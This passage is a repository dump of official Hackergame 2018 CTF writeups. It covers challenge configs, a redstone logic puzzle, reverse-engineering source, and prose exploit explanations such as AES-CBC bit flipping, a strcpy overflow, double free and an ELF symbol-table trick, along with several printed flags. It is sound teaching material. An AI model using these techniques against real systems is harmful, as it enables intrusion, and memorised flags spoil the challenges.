/official/python_simulator/src/python_simulator/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | pysim: 4 | build: . 5 | ports: 6 | - "12009:9999" 7 | -------------------------------------------------------------------------------- /official/python_simulator/src/python_simulator/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /etc/init.d/xinetd start; 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /official/qiandao/README.md: -------------------------------------------------------------------------------- 1 | # 签到题 2 | 3 | 不用找了!签到题我已经放这里了! 4 | 5 | [打开题目](http://202.38.95.46:12002/) 6 | 7 | --- 8 | 9 | 这道题目是我设置在 Hackergame 2018 中的第一道题,其目的只是想更精确的统计一下参赛人数,然而没想到本题也成为了本次比赛中命题组给出最多答复次数的题目。 10 | 11 | 回到题目本身,这道题目有一个输入框,根据提示需要输入 `hackergame2018`,然而细心的同学已经发现了,无论是通过输入还是粘贴的方法都会缺少一个数字 `8`。 12 | 13 | ![image-20181016015633115](images/image-20181016015633115.png) 14 | 15 | 解决问题的方法至少有以下几个: 16 | 17 | ## 解法一:观察地址栏 18 | 19 | Hackergame 需要视力!只需要观察到地址栏中 `?key=hackergame201` ,将其改为 `?key=hackergame2018` 并回车就可以得到 flag。 20 | 21 | ![image-20181016015820553](images/image-20181016015820553.png) 22 | 23 | ## 解法二:审查元素 24 | 25 | 使用 Chrome 浏览器,在输入框上右键点击审查元素(Inspect)可以看到: 26 | 27 | ![image-20181016020015148](images/image-20181016020015148.png) 28 | 29 | 一个叫做 `maxlength="13"` 的东西,我们双击它,修改为大于等于 14 的数字或删除即可。 30 | 31 | 最后得到 flag:`flag{Hackergame2018_Have_Fun!}` 32 | -------------------------------------------------------------------------------- /official/qiandao/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/qiandao/images/.gitkeep -------------------------------------------------------------------------------- /official/qiandao/images/image-20181016015633115.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/qiandao/images/image-20181016015633115.png -------------------------------------------------------------------------------- /official/qiandao/images/image-20181016015820553.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/qiandao/images/image-20181016015820553.png -------------------------------------------------------------------------------- /official/qiandao/images/image-20181016020015148.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/qiandao/images/image-20181016020015148.png -------------------------------------------------------------------------------- /official/qiandao/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/qiandao/src/.gitkeep -------------------------------------------------------------------------------- /official/qiandao/src/qiandao/app/index.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 签到题 8 | 9 | 10 |

签到题

11 |

本题的主要作用是向你展示获取 flag 的一般步骤:

12 |
    13 |
  1. 打开题目页面;(也就是本页面,你应该已经完成了)
  2. 14 |
  3. 解题;(找到 flag)
  4. 15 |
  5. 回到比赛平台提交 flag;
  6. 16 |
  7. 完成!
  8. 17 |
18 |

是不是很简单!在本题中,你只要提交 hackergame2018 就可以得到 flag

19 |
20 | 21 | 22 |

The flag is:

23 | 24 |

答案错误,正确的 Key 是:hackergame2018

25 | 26 | 27 |

Key:

28 |

29 |
30 | 31 | -------------------------------------------------------------------------------- /official/qiandao/src/qiandao/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | php: 4 | build: 5 | context: ./services/php 6 | dockerfile: Dockerfile 7 | volumes: 8 | - ./app:/mnt/app 9 | restart: always 10 | web: 11 | image: nginx:1.11.1 12 | ports: 13 | - "12002:80" 14 | depends_on: 15 | - php 16 | volumes_from: 17 | - php 18 | volumes: 19 | - ./images/nginx/config:/etc/nginx/conf.d 20 | restart: always 21 | -------------------------------------------------------------------------------- /official/qiandao/src/qiandao/images/nginx/config/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | server_name localhost; 4 | root /mnt/app; 5 | index index.php index.html index.htm; 6 | 7 | location / { 8 | } 9 | 10 | location ~ \.php$ { 11 | fastcgi_pass php:9000; 12 | fastcgi_index index.php; 13 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 14 | include fastcgi_params; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /official/qiandao/src/qiandao/services/php/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.6-fpm 2 | MAINTAINER ustchjy 3 | 4 | COPY ./config/php.ini /usr/local/etc/php/conf.d/ 5 | -------------------------------------------------------------------------------- /official/qiandao/src/qiandao/services/php/config/php.ini: -------------------------------------------------------------------------------- 1 | memory_limit = 256M 2 | post_max_size = 10M 3 | upload_max_filesize = 10M 4 | -------------------------------------------------------------------------------- /official/red_stone/README.md: -------------------------------------------------------------------------------- 1 | # 猫咪电路 2 | 3 | #大蒜日报社 科大分社 电 4 | 5 | 10 月 4 日,膨胀社的一篇报道在科技圈引起了轩然大波,据膨胀社报道:芒果,亚驴逊,超巨等多家公司被一个不到铅笔尖大小的西恩芯片植入了后门,其中客户不乏有米国政府敏感部门。 6 | 7 | 同时,膨胀社报道中提到的所有公司(芒果,亚驴逊,超巨)等都在极短的时间内积极予以否认:我不是,我没有,别瞎说啊.jpg 8 | 9 | 一方面是经过膨胀社 2000 名记者和多层编辑花了十几个月来组稿的报道,另一方面是罕见的多家大公司的驳斥,这其中的真真假假,吃瓜群众根本看不透。 10 | 11 | 12 | 13 | 虽然我们目前还没有搞到这个芯片的样本(搞到之后可能会加一道新题),但是我们准备了一个简单的红石电路给你逆向。 14 | 15 | 为了避免重新发明一个电路模拟器,我们使用了 Mojang AB 公司一款带有电路功能的著名沙盒式建造游戏 Minecraft 存档作为本题目的解题资料。 16 | 17 | 技术上来说,我们通过 Minecraft (版本:1.12.2) 存档提供了一个 40 个输入的红石电路,他们共同影响着信标的颜色,如果你通过调整输入,成功使得信标变绿,说明你已经破解了这个电路,请以 `flag{1010101010100010...0101010}` 的格式提交你的答案(1 代表激活,0 代表不激活)。 18 | 19 | **进入 Minecraft 之后的温馨提醒:** 20 | 21 | 1. 为了防止你没有红石电路基础,我们在出生地设置了一系列红石电路教程,希望可以帮上忙; 22 | 2. 为了防止你问这道题和猫咪有什么关系,我们在出生地放了一只猫(并且已经驯服); 23 | 3. 按 `/` 键可以键入控制台命令,但是请不要键入 `/kill`,因为这样你会死; 24 | 4. 请不要通过 `/gamemode 0` 把自己的模式改为生存模式,否则你的电路会被苦力怕炸毁; 25 | 5. 请在解题结束后及时关闭该沙盒式建造游戏,否则你会花很多额外的时间; 26 | 27 | [打开题目](src/res_stone.zip) 28 | 29 | --- 30 | 31 | 欢迎来到猫咪系列题目之**猫咪电路**。 32 | 33 | 这道题是一道非常简单的题目,主要是想让同学们学会一些电路逆向技巧。 34 | 35 | ## 基本概念: 36 | ### 红石元件:(引用部分来源:[minecraft wiki](https://minecraft-zh.gamepedia.com/%E7%BA%A2%E7%9F%B3%E7%94%B5%E8%B7%AF)) 37 | > 红石元件能够接受红石信号并作出反应(例如移动、发光等),例如活塞、红石灯、发射器等。红石元件是在红石电路里具有一定使用目的的方块,大致分为三个大类,部分电路提供能量来源,例如红石火把、按钮、拉杆、红石块、压力板等。 38 | > 39 | > 电源为整个电路或部分电路提供能量来源,例如红石火把、按钮、拉杆、红石块、压力板等。 40 | > 41 | > 传输线将电能从电路的一部分传递到另一部分,例如红石粉、红石中继器、红石比较器等。 42 | > 43 | > 机械接受电能并作出反应(例如移动、发光等),例如活塞、红石灯、发射器等。 44 | ### 充能: 45 | > 红石元件与部分方块能够被充能或解除充能。如果说一个方块被“充能”了,则这个方块就可以作为电源,能向毗邻的“用电”方块供电以使其工作。(“毗邻”是这样定义的:一个方块是正方体,正方体有6个面。也就是说与一个方块的任意一个面接触的方块最多可能有6个,称之为“与该方块毗邻的方块”)。 46 | > 47 | > 当非透明方块(例如石头、砂岩、泥土等)被电源 (或是中继器、比较器)充能,我们称这个方块被强充能了(这个概念与充能等级不同)。强充能的方块可以激活毗邻的红石线。绝大多数电源可以强充能自身。 48 | > 49 | > 当非透明方块仅被红石线充能,我们称这个方块被弱充能。被充能的方块(无论强度如何)都可以影响毗邻的红石元件。不同的元件产生的反应不同。您可以查看这些元件的具体描述。 50 | > 51 | > 没有不透明的方块可以直接为另一个不透明方块充能,因为中间必须有红石粉或其他红石元件。透明方块不能被任何东西充能。“强”与“弱”充能仅适用于不透明的方块,而不适用于红石粉或其他红石元件。 52 | > 53 | > 被充能的方块(强或弱)会影响相邻的红石组件。不同的红石组件对其反应有所不同。 54 | ### 传输: 55 | > 火把高塔与火把梯:红石火把能够充能其上方的方块与相邻的(包括下方的)红石线,这样,纵向传输便成为可能(向上与向下的设计不同)。 56 | > 57 | > “中继”信号指的是将信号加强到完全信号强度。最简单的方法就是使用红石中继器,包括如下变种: 58 | > 59 | > - 瞬时中继器: 在不引入延迟的情况下中继信号。 60 | > - 双向中继器: 可以从来回两个方向中继信号。 61 | > 62 | > “二极管”指只允许信号单向传输的电路,通常用于防止电路反向干扰引起的状态改变或延迟紊乱,也可以用于防止大型电路中的线路彼此串扰。常用的二极管包括红石中继器、一格高的荧石与无法向斜下方传输信号的倒置台阶。 63 | > 64 | > 很多电路已经具有单向性,因为它们的输出端不会接受输入信号,例如以附着在方块侧面的红石火把作为输出的电路。 65 | ### 逻辑电路: 66 | > 有时,你需要判断输入信号,经过一定的算法产生一个输出。这类电路即为人们耳熟能详的逻辑门(“门”只让满足“逻辑”的信号输出)。 67 | 68 | 本题目即为使用逻辑电路,将选手输入的 40 位信号转换成为一位信号,用该信号驱动活塞移动染色玻璃,达到使信标变色的目的。 69 | ## 逻辑门: 70 | - 与门:两个输入信号均为真时输出为真,其余为假 71 | - 或门:两个输入信号均为假时输出为假,其余为真 72 | - 非门:将输入信号反向(即真变为假,假变为真),(由于红石火把附着方块被充能时红石火把会熄灭,因此使用红石火把构建非门。) 73 | - 异或门:两个输入信号相同时输出信号为假,相异时为真 74 | - 同或门:两个输入信号相同时输出信号为真,相异时为假 75 | - 与非门:两个输入信号均为真时输出为假,其余为真 76 | - 或非门:两个输入信号均为假时输出为真,其余为假 77 | - 逻辑门在红石电路中的构建在题目出生点均有演示,[minecraft wiki](https://minecraft-zh.gamepedia.com/%E6%95%99%E7%A8%8B/%E5%9F%BA%E6%9C%AC%E9%80%BB%E8%BE%91%E9%97%A8) 中也有说明 78 | 79 | ## 题目解析: 80 | 电路采用树形结构,每四个输入信号一组,将每组信号内部的四个输入信号作运算,再将十组的输出信号之间进行运算得到最终控制信标颜色的信号。 81 | ![circuit](images/circuit.png) 82 | 83 | 因此较为简便的解法是对每组分别求解。可以通过控制信标颜色的最终信号推导每组的输出信号,再对每组内部进行分析,求出使得该组输出信号正确的输入组合,然后顺序拼接得到 flag. 84 | 85 | flag{0110101000111100101111111111111111111010} 86 | -------------------------------------------------------------------------------- /official/red_stone/assets/boom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/red_stone/assets/boom.png -------------------------------------------------------------------------------- /official/red_stone/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/red_stone/images/.gitkeep -------------------------------------------------------------------------------- /official/red_stone/images/circuit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/red_stone/images/circuit.png -------------------------------------------------------------------------------- /official/red_stone/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/red_stone/src/.gitkeep -------------------------------------------------------------------------------- /official/red_stone/src/res_stone.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/red_stone/src/res_stone.zip -------------------------------------------------------------------------------- /official/secret_of_flxg/README.md: -------------------------------------------------------------------------------- 1 | # FLXG 的秘密 2 | 3 | 公元 0xFB2 年, FLXG 正当其道. 4 | 5 | 没错, 在 CWK 的伟大倡导之下, 年份采用了更为先进的 16 进制表示. 中国滑稽大学也因为率先提出了 FLXG 的理论, 其世界超一流的院校的地位已经不可动摇. 而在肥宅路 98 号某个废弃的角落里 -- 实际上是两千年前一时风光无二, CWK 口中以考试分数为唯一目标的分院 -- 几名幸存的理论物理系跑男 (旧指为 GPA 而四处奔波的分院学生) 在饥寒交迫中, 企图谋划着最后的反抗. 6 | 7 | 实际上, 他们已经成功了. 多少代物理系的先辈们忍辱负重, 转入 CS, 就是为了制造出量子计算机, 试图攻破 FLXG 这个天衣无缝的理论. 这个计划已经实施了两千年, 而现在终于结成正果了. 世界上仅存的几位分院跑男, 他们已经掌握了 FLXG 最核心的秘密, 那是除了创始人 CWK 无人知晓的秘密, 那是失传千年的, 整个 FLXG 的唯一漏洞. 当年的 Nature, Science, 如今的 Engineer 期刊上不断有人试图找出这个纰漏, 然而所有人都失败了. (可惜也没人能够证明 FLXG 的绝对完美性) 因此 FLXG 有一段时间被认为是最接近真实的假设 -- 当然, 这是落后的理科思想所形成的结论. 所以, 正如你看到的这样, FLXG 已经成为了金科玉律一般的存在. 然而, 它的唯一漏洞, 在这一年, 已经这几名跑男找到了. 8 | 9 | 但是, 他们也是失败的. 分院和物院, 已经在滑稽大学的 FLXG 改革中消失, 所有留存的痕迹, 也成为校史馆中的笑料和反面教材. "什么? 你还跑过去找老师要分? 怕不是分院余孽.." 之前时时还能听到这样的嘲讽, 如今嘲讽的对象也越来越少, "分院跑男" 这种词已经被新版的 CWK 词典移到了附录里, 以后估计会被删掉的吧. 就算有人找到 FLXG 的秘密又怎么样呢, 再也不会有人去读物理了. 10 | 11 | 当然, 有唯一的一条出路, 就是设法把这条秘密发送到两千年前. 这样大家就能在 FLXG 的实施之前, 看到它的漏洞了, 也许就可以拯救分院和物院的命运了. 12 | 13 | 如今的技术发展, 虽然能够在一定程度上控制时空, 但是要把消息传回两千年前, 的确是不太靠谱. 何况两千年前的人类根本无法做出应答. 当然更关键的, 就是因果律的影响了. 传递消息的做法, 必须要瞒过因果律, 否则只会在过去的时间长河中开出一条小小的支流, 对于这个平行宇宙来说并无意义. 14 | 15 | 为了做到这一点, 他们几人把秘密用许多随机生成的锁保护起来, 最后连接成一个可以自动计算出秘密的程序 (他们为了存活也转行做 CS 了), 而这个程序运行起来需要 2000 年甚至更久. 之后, 他们再以四千年前的伏羲先天六十四卦将程序编码, 以此试图骗过因果律, 逆流而上, 成前人未有之壮举. 16 | 17 | 然而, 由于时间长河的冲刷, 这份信息仍然受到了损毁. 在 0x7E2 年的你, 能够解出 FLXG 的秘密吗? 18 | 19 | [打开题目](src/flxg.txt) 20 | 21 | --- 22 | ### 来自未来的漂流瓶 23 | ##### TL;DR 24 | 六十四卦那些卦象,你们看着不觉得就像二进制吗..。 25 | ##### 详解 26 | 下下来直接打开发现乱码。不知道为啥编辑器不觉得这是 UTF-8。切换到 UTF-8 的编码,发现果然一堆六十四卦的名词。 27 | 28 | 无论怎么编码的,第一步肯定是把不同卦分离开来。六十四卦的名称比较杂乱,是变长的 CISC 架构,代码里面的六十四卦卦名要老老实实写出来。 29 | 30 | 接下来就是脑洞时间了。六十四卦每一卦都有 6 个 bits 的信息,而一般的数据都是以 8 个 bits 为单位。因此,我们看一下长度,发现可以被 8 整除,这进一步验证了我们的猜想。接下来,就是考虑如何把一个卦象转化为 6 个 bits。 31 | 32 | 有三类显而易见的情况: 33 | * 每个卦象自下而上,阴阳对应 0 和 1,这就是两种可能 34 | * 每个卦象自上而下,阴阳对应 0 和 1,这又是两种可能 35 | * 卦象以先天六十四卦顺序,也是 Unicode 字符集中的顺序编码 36 | 37 | 写出来脚本跑一跑,发现第二种情况能产生一个 gzip 的文件。解压时提示文件损坏,查看文件末尾即可得到 flxg。 38 | ### 难以参悟的秘密 39 | ##### TL;DR 40 | Merkle Hellman Knapsack Cryptosystem 41 | ##### 详解 42 | 本题是一道逆向。 43 | 44 | 解压得到一个可执行文件和一堆动态链接库。拖进 IDA 里发现,程序会读取 passkey.txt 的内容,然后通过调用动态链接库的函数进行校验。最后经过一番处理,每 8 行变成一个大整数。然后根据一个 128bit 的数的某一位进行求和。最后判断是否结果等于最后一个大整数。这实际上是一个 Merkle Hellman Knapsack Cryptosystem。 45 | 46 | 二进制里重要函数都已经标注出来。一旦我们弄清楚程序的意图,就可以继续做下去了。思路非常清晰: 先要恢复 passkey.txt 的内容,进而得到每个大整数。然后求解 flxg。 47 | 48 | 第一步,需要选手批量处理动态链接库中的代码。动态链接库里面的验证基本可以总结为 kx+b=x,通过将 k 和 b 提取出来,可以求解 x。而 k 和 b 两个数字在 lock 函数中偏移固定,可以通过能处理 ELF 的 python 库或二进制分析框架提取出来。 49 | 50 | 第二步,我们得到了 passkey.txt 应有的内容。现在我们需要还原 128 个大整数。大致有两种思路,一种是动态运行程序,通过修改程序的代码或者 Hook 或者 DBI 或者调试器脚本的方法,可以得到这些大整数。另一种是通过逆向,自己重现相应的算法。这道题里面使用了一个不常见的 Hash 算法 -- JH,很难识别出来。并且代码中大量使用 SSE,很难手动实现。但是可以通过将可执行文件转为动态链接库的方法导出相关函数,从而直接运行程序的算法。 51 | 52 | 第三步,Low Density attack。这实际上是 1984 年的攻击了。需要找到论文简单复现一下即可。比如 http://www4.ncsu.edu/~smsulli2/MA437_Fall2017/knapsack.pdf。其核心思想是构造出一个 Lattice,这些向量加起来和为 0。然后就变成了格点规约问题了。通过 LLL 算法很容易求出解。 53 | 54 | (此处省略丑陋的 Mathematica 代码) 55 | 56 | 本题代码见 flxg.c 与 lock.c。代码实际上不能直接编译,因为缺少 jh.h (只是一个 hash 算法的实现) 和 lock.h (由脚本生成)。不过大致流程比较清晰。可参看。 -------------------------------------------------------------------------------- /official/secret_of_flxg/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/secret_of_flxg/images/.gitkeep -------------------------------------------------------------------------------- /official/secret_of_flxg/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/secret_of_flxg/src/.gitkeep -------------------------------------------------------------------------------- /official/secret_of_flxg/src/lock.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "lock.h" 5 | 6 | #define XOR(X, Y) X+Y - (((X)&(Y)) << 1) 7 | #define REV(b) (((b) * 0x80200802ULL) & 0x0884422110ULL) * 0x0101010101ULL >> 32 8 | 9 | union { 10 | uint64_t secret; 11 | uint8_t uc[8]; 12 | } u, key; 13 | 14 | void lock(void); 15 | void unlock(void); 16 | static void handler(int); 17 | 18 | #pragma GCC push_options 19 | #pragma GCC optimize ("O0") 20 | int check(uint64_t k){ 21 | RANDOM_GAP; 22 | key.secret = k; 23 | signal(SIGTRAP, handler); 24 | raise(SIGTRAP); 25 | signal(SIGTRAP, SIG_IGN); 26 | return (u.secret != SECRET); 27 | } 28 | #pragma GCC pop_options 29 | 30 | void lock(void){ 31 | u.secret = XOR(u.secret, K * key.secret + B); 32 | for(int i=0;i<4;i++){ 33 | u.uc[i] ^= REV(u.uc[7-i]); 34 | u.uc[7-i] ^= REV(u.uc[i]); 35 | u.uc[i] ^= REV(u.uc[7-i]); 36 | } 37 | } 38 | 39 | void unlock(void){ 40 | uint64_t v = u.secret; 41 | v = ((v >> 1) & 0x5555555555555555) | ((v & 0x5555555555555555) << 1); 42 | v = ((v >> 2) & 0x3333333333333333) | ((v & 0x3333333333333333) << 2); 43 | v = ((v >> 4) & 0x0F0F0F0F0F0F0F0F) | ((v & 0x0F0F0F0F0F0F0F0F) << 4); 44 | v = ((v >> 8) & 0x00FF00FF00FF00FF) | ((v & 0x00FF00FF00FF00FF) << 8); 45 | v = ((v >> 16)& 0x0000FFFF0000FFFF) | ((v & 0x0000FFFF0000FFFF) << 16); 46 | v = ((v >> 32) ) | ((v) << 32); 47 | u.secret = XOR(key.secret, v); 48 | } 49 | 50 | static void handler(int signum) { 51 | if(signum == SIGTRAP){ 52 | u.secret = SECRET; 53 | lock(); 54 | unlock(); 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /official/trial_of_cwk/README.md: -------------------------------------------------------------------------------- 1 | # CWK 的试炼 2 | 3 |

提示:

4 |

1. 本题两个 flag 均由远程服务器提供.

5 |

2. 本题两个 flag 均为有意义的字符串.

6 |

3. 与服务器交互时请使用 UNIX 换行符.

7 |

4. 这不是 HTTP 协议啊喂 (╯‵□′)╯︵┻━┻, nc 命令请了解一下.

8 | 9 | *The CWK History Symposium* 会议上的一篇论文 *On the missing heritages of CWK* 里写道, “…CWK 并没有将他的修为与财富留给子嗣, 因为当时的 FLXG 并没有被世人所理解. 在无人知晓的时候, CWK 远游四海, 于一个孤岛上独自一人建立了一座巍峨宏伟的神庙, 并将有关 FLXG 的宝藏全部埋葬于此. 然后他又利用不为人知的技术, 使这座荒岛看起来平平无奇, 并且还能避开如今的 FLXG 雷达的探测. 根据当时联合国粮食与农业组织 (FAO) 的记录, 那几年太平洋西部海岸洋葱产量锐减. 我们由此推测 CWK 应该使用了当时比较冷门的一个西方魔法, 可以从洋葱中提取能量从而隐藏海域…” 10 | 11 | 当我偶然翻到这篇 paper 的时候, 脑子里电光火石般想起来, 自己曾经在滑稽大学图书馆中借走的一本 *信息安全导论* 中夹着的那一张羊皮纸. 这一瞬间, 我感觉自己的内心里充满了 flag… 没错, 一定是这样的. 这张古老的羊皮纸就是 CWK 留给滑稽大学最宝贵的遗产, 前往 FLXG 神庙的地图! 12 | 13 | 不愧是 CCF (China CWK Federation) 推荐的 A 类会议, 我一边想, 一边往下读, “…CWK 在神庙里设计了试炼, 只有通过的人才有资格成为他的继承人…**据说神庙的设计图被 CWK 用法力嵌入到了指向神庙的地图里.** 关于 CWK 的其他许多传闻逐渐都得到了验证, 而这张宝贵的地图却依旧只是传闻, 在历史上从未出现过…” 14 | 15 | 读至此处, 我心中热血沸腾, 恨不得立马出发, 去 FLXG 神庙一探究竟. 可是转念一想, CWK 出的题目往往都很坑, 又有些踌躇不前. 正好, 最近似乎滑稽大学要举办一个啥比赛, 不若投石问路, 让那些好奇的选手们先去探个险, 看看他们能不能从神庙中站着出来… 16 | 17 | [打开题目](src/trial.webp) 18 | 19 | --- 20 | 21 | ### 神庙设计图,Get! 22 | ##### TL;DR 23 | Tor,nc with proxy,LSB,抠图 24 | ##### 详解 25 | 得到一张webp格式的图片。使用官方工具分析得知此 webp 图片为无损压缩。使用 dwebp 转换为 png 格式。注意,如果有选手使用第三方工具转换而导致后续步骤无法进行,请不要抱怨题目有非预期的错误,相反,您应该给这些第三方工具提 issue。 26 | 27 | 得到 png 后,使用 stegsolve 查看通道。发现绿色通道的 LSB 有明显的隐写痕迹。右下角有一个洋葱地址,中间的神庙区域有明显规律性条纹。实际上这个条纹是因为出题人故意使用 Base64 编码一遍,使得原来二进制中的规律部分更为明显。 28 | 29 | 我不知道为什么很多人都把这个地址和端口号当作 HTTP 协议。没有任何说明的情况下,一个端口并不应该默认为使用 HTTP 协议。这又不是 80 或者 8080 端口..。正确做法应该是使用 nc 连上去,会发现这实际上是一个类似于 pwnable 的一个交互方式。 30 | 31 | 至于如何使用洋葱,这里不再详述,请参考官网教程。一般的洋葱客户端会提供一个 9150 或者 9050 端口的 SOCKS 5 代理服务。使用 nc 的参数或者 proxychains-ng 均可接入。 32 | 33 | 连入后发现提示输入 CRC32。如果输入 webp 图片的 CRC32 会进一步提示设计图纸被藏在图片里。 34 | 35 | 所以我们转向绿色通道中的神庙区域。思路应该比较明显,需要把这片区域的像素抠出来。 36 | 37 | 为降低难度,这片区域已经用纯黑色的边框包围,并且保证了区域内没有纯黑色的像素点。一个最简单的做法是,使用 Photoshop 手动选择一小部分,选区 -> 扩大选区,可以将这片区域内的像素点全部选中。查看一下统计信息,可以发现这片区域内有 249024 个像素点。很明显可以被 8 整除。这是一个正面的提示。然后将这片区域粘贴到一个新的全黑色的背景图片上。保存。然后就可以写 python 脚本处理绿色通道的 LSB 了。 38 | 39 | (此处省略处理脚本) 40 | 41 | 脚本得到的是一个 Base64 的字符串。解码后是一个 ELF 文件。在远程输入 Base64 字符串或者 ELF 的 CRC32 均可得到第一个 flxg。 42 | ### 此小技耳 43 | ##### TL;DR 44 | https://gist.github.com/pzread/2ae0bb3aa5fe0dc69fcf3257c41db944 ,bit flipping attack 45 | ##### 详解 46 | 这道题其实是出题人学习去年 HTICON 里一个技巧的成果 (话说马上又要 HITCON 了)。有两个人做出来有点出人意料(可能有非预期了),不过因为控制好了 SECCOMP,再怎么非预期也不会造成预期之外的危害 23333333 47 | 48 | 这道题功能很简单。首先输入用户名,判断不能为 root,拼接上 hash 后再使用随机的密钥和 IV 做 AES CBC 加密。另一个函数需要输入结果,然后通过密钥和 IV 解密,再比对 hash 正确性。之后判断用户名是否为 root,如果是 root 就直接给 flag。 49 | 50 | 这题有几个漏洞: 51 | 52 | * 首先有整数溢出,溢出的后果是 double free。控制 free 的整数只有 8 位,所以 free 被拒绝 128 次后就可以随便 free 了。 53 | * 其次内存拷贝用的是 strcpy,这个会造成越界。 54 | * 然后就是密码学上的,bit flipping attack。通过更改 IV 可以更改解密后第一个分组的内容。 55 | * 最后就是 HITCON 的奇技*巧,二进制中的 memcmp 实际上是 strcmp。 56 | 57 | double free 不是用来利用的。实际上要注意到 init 里面会调用 mallopt,设置了这个函数会将 free 的 buffer 填充为 0xAA。而这次 malloc 的 buffer 很小,使用了 tcache 后所以需要 free 七次才行。 58 | 59 | 然后通过 strcpy,将 0xAA 复制到目标数组。通过 bit flipping attack 得到 root 的用户名和第一个 0xAA。然后需要绕过 hash 检测。所以我们不停的尝试,直到 hash 以 0x00 开头。这样 strcmp 比较两个空字符串会直接返回 0。 60 | 61 | exp 见 poc.py,代码见 trial.c 62 | 63 | 关于如何做到将 memcmp 偷天换日到 strcmp,可以看 HITCON 的那篇 gist。基本原理就是内核计算 PHDR 的偏移错误,所以可以放上两个 PHDR,真 PHDR 中的 PT_DYNAMIC 中 DT_SYMTAB 被修改了。所以 ld.so 解析函数的时候会使用后面的 DT_SYMTAB,而一般的反汇编工具会使用 ELF Spec 下的 DT_SYMTAB。 64 | 65 | 更详细一点的介绍在这里,http://h3ysatan.blogspot.com/2018/02/quick-notes-hitcon-ctf-2017-qual-elf.html。 66 | ###### 翻车 67 | 果然翻车了, 有个特别简单的非预期解... 排查后发现是 UB 导致的编译器优化把一个边界检查给优化没了... 辣鸡 GCC (╯‵□′)╯︵┻━┻ 68 | 换成 clang 编译就没这么多事了... 69 | -------------------------------------------------------------------------------- /official/trial_of_cwk/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/trial_of_cwk/images/.gitkeep -------------------------------------------------------------------------------- /official/trial_of_cwk/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/trial_of_cwk/src/.gitkeep -------------------------------------------------------------------------------- /official/trial_of_cwk/src/trial.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/trial_of_cwk/src/trial.webp -------------------------------------------------------------------------------- /official/true_flxger/README.md: -------------------------------------------------------------------------------- 1 | # 秘籍残篇 2 | 3 | > Those who bear true belief in flxg shall fear no malbolge! 4 | > 5 | > -- La Divina FLXG Commedia 6 | 7 | FLXG 创始人 CWK 修为通玄, 万古罕有. 至今无敢直呼其名者, 皆以西文缩写代之. 8 | 9 | 据 *神 FLXG 曲* 载, CWK 为探 FLXG 之密, 曾 *排空驭气奔如电, 升天入地求之遍. 上穷碧落下尽黄泉, 两处茫茫而无可见.* 后其闭关九年, 又仗三尺长剑, 携一刀生宣, 闯 *但丁* 旧时幽路. 平荆棘, 暴霜露, 惊恶魑, 斩狱卒, 神鬼莫可当之. 10 | 11 | 每其行足七千里也, 元气化墨, 即为箧囊所藏, 凝之一字, 现诸纸上. 及至伊甸园, 经义已成十万八千字余矣. 当是时, 人间科技正高速发展, 上帝不得已, 将 2D 天空贴纸更为 3D, 故而旧道不通. CWK 举目四望, 但见群星闪烁. 扪参历井, 方知穷途将归. 12 | 13 | 归来后, 宣纸已自编纂成册, 即 *神 FLXG 曲* (曾藏于滑稽大学博物院, 现已佚失). 其中记载 CWK 种种经历此处且按下不提. 而 *[Inferno: Malebolge](https://en.wikipedia.org/wiki/Malebolge)* 一章, 以 [Malbolge](https://en.wikipedia.org/wiki/Malbolge) 语言书成. 虽晦涩难通, 所谓佶屈而聱牙, 然真义无穷, 实乃无上之道法. 14 | 15 | 江湖余此残篇, 而今公示于天下. 可否有所体悟, 且看诸君之造化. 16 | 17 | [打开题目](src/malbolge.txt) 18 | 19 | --- 20 | ### 滑稽 Art 21 | ##### TL;DR 22 | 质因数分解,添加换行符,缩小字体 23 | ##### 